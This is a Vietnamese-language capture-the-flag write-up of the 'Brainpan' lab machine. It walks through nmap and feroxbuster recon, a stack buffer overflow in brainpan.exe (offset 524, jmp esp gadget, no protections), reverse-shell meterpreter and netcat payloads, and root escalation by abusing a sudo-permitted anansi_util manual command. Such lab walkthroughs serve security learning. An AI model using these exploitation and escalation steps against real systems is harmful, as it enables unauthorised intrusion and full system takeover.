Recon

Nmap

# Nmap 7.95 scan initiated Sun Oct 20 20:35:23 2024 as: nmap -T3 -Pn -A -oN nmap.log 10.10.193.239
Nmap scan report for 10.10.193.239
Host is up (0.33s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT      STATE SERVICE VERSION
9999/tcp  open  abyss?
| fingerprint-strings: 
|   NULL: 
|     _| _| 
|     _|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_| 
|     _|_| _| _| _| _| _| _| _| _| _| _| _|
|     _|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _|
|     [________________________ WELCOME TO BRAINPAN _________________________]
|_    ENTER THE PASSWORD
10000/tcp open  http    SimpleHTTPServer 0.6 (Python 2.7.3)
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: SimpleHTTP/0.6 Python/2.7.3
# Nmap done at Sun Oct 20 20:36:37 2024 -- 1 IP address (1 host up) scanned in 73.80 seconds

Feroxbuster

Brute-force các thư mục ẩn của trang web ở port 10000 thì tìm được thư mục có tên là /bin chứa tập tin brainpan.exe.

GET /bin HTTP/1.1
Accept: */*
User-Agent: feroxbuster/2.11.0
Host: 10.10.92.138:10000
Connection: keep-alive
 
HTTP/1.0 301 Moved Permanently
Server: SimpleHTTP/0.6 Python/2.7.3
Date: Sun, 20 Oct 2024 15:10:15 GMT
Location: /bin/
GET /bin/ HTTP/1.1
Accept: */*
User-Agent: feroxbuster/2.11.0
Host: 10.10.92.138:10000
Connection: keep-alive
 
HTTP/1.0 200 OK
Server: SimpleHTTP/0.6 Python/2.7.3
Date: Sun, 20 Oct 2024 15:10:16 GMT
Content-type: text/html; charset=UTF-8
Content-Length: 230
 
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 3.2 Final//EN"><html>
<title>Directory listing for /bin/</title>
<body>
<h2>Directory listing for /bin/</h2>
<hr>
<ul>
<li><a href="brainpan.exe">brainpan.exe</a>
</ul>
<hr>
</body>
</html>

Analysis

Chạy tập tin brainpan.exe và fuzz thì thấy tồn tại lỗ hổng buffer overflow. Tìm được offset tại 524.

Sử dụng ROPgadget, tìm được một chỉ thị jmp esp ở địa chỉ 0x311712f3.

Sử dụng winchecksec1 thì thấy brainpan.exe không có ALSR:

winchecksec brainpan.exe
Warn: No load config in the PE
Results for: brainpan.exe
Dynamic Base    : "NotPresent"
ASLR            : "NotPresent"
High Entropy VA : "NotPresent"
Force Integrity : "NotPresent"
Isolation       : "Present"
NX              : "NotPresent"
SEH             : "Present"
CFG             : "NotPresent"
RFG             : "NotPresent"
SafeSEH         : "NotPresent"
GS              : "NotPresent"
Authenticode    : "NotPresent"
.NET            : "NotPresent"
CET Compatible  : "NotPresent"

Không tìm thấy bad character nào.

Exploit

Tạo shellcode với payload windows/meterpreter/reverse_tcp nhưng không hoạt động được. Sau đó, phát hiện ra rằng máy mục tiêu sử dụng hệ điều hành Linux nên ta cần tạo ra shellcode của Linux.

Thử với linux/x64/meterprete/reverse_tcp nhưng vẫn không hoạt động.

Kiến trúc của máy mục tiêu có thể là x86 bởi vì tập tin PE có PE L signature2. Sử dụng payload linux/x86/meterpreter/reverse_tcp thì hoạt động được.

Escalate

Sau khi có quyền truy cập thì sử dụng sudo -l và tìm thấy một chương trình có thể được chạy với sudo:

meterpreter > shell
Process 1191 created.
Channel 2 created.
whoami
puck
sudo -l
Matching Defaults entries for puck on this host:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
 
User puck may run the following commands on this host:
    (root) NOPASSWD: /home/anansi/bin/anansi_util

Chương trình này không tồn tại ở trên GTFObins nhưng có thể bị lợi dụng để leo quyền.

Vì một lý do nào đó, không thể lợi dụng `anansi_util` để leo quyền thông qua meterpreter. 
 
Thử thay đổi payload của shellcode thành `linux\x86\shell\reverse_tcp` và chạy netcat server ở port 1337 thì cũng không thể leo quyền.
Vấn đề kể trên có thể liên quan đến [cái này](https://askubuntu.com/questions/1091553/how-do-i-fix-error-opening-terminal-unknown-on-ubuntu-server) và ta cần thêm một biến môi trường là `TERM=linux` khi chạy `anansi_util manual`.

Thử lại với TERM=xterm3 thì thành công:

 nc -vnlp 1337
Listening on 0.0.0.0 1337
Connection received on 10.10.244.21 60087
python3 -c 'import pty;pty.spawn("/bin/bash")'
puck@brainpan:/home/puck$ export TERM=xterm
export TERM=xterm
puck@brainpan:/home/puck$ ^Z
[1]  + 486527 suspended  nc -vnlp 1337
 
╰─❯ stty raw -echo; fg
[1]  + 486527 continued  nc -vnlp 1337
 
puck@brainpan:/home/puck$ 
puck@brainpan:/home/puck$ 
puck@brainpan:/home/puck$ ls   
checksrv.sh  web
puck@brainpan:/home/puck$ sudo -l
Matching Defaults entries for puck on this host:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
 
User puck may run the following commands on this host:
    (root) NOPASSWD: /home/anansi/bin/anansi_util
puck@brainpan:/home/puck$ sudo /home/anansi/bin/anansi_util manual ls
No manual entry for manual
root@brainpan:/usr/share/man# cd /root
root@brainpan:~# ls
b.txt
root@brainpan:~# cat b.txt
_|                            _|                                        
_|_|_|    _|  _|_|    _|_|_|      _|_|_|    _|_|_|      _|_|_|  _|_|_|  
_|    _|  _|_|      _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|    _|  _|        _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|_|_|    _|          _|_|_|  _|  _|    _|  _|_|_|      _|_|_|  _|    _|
                                            _|                          
                                            _|
 
 
                                              http://www.techorganic.com 
 
 
 
root@brainpan:~# 

References

Footnotes

  1. khi cài đặt, ta cần cài đặt thêm vcpkg và thêm thư mục có chứa tập tin cấu hình pe-parse vào tập tin CMakeList.ext.

  2. tham khảo How to check if a binary is 32 or 64 bit on Windows? - Super User.

  3. giá trị này liên quan đến việc làm cho reverse shell của Netcat trở nên ổn định, xem thêm Introduction to Shells.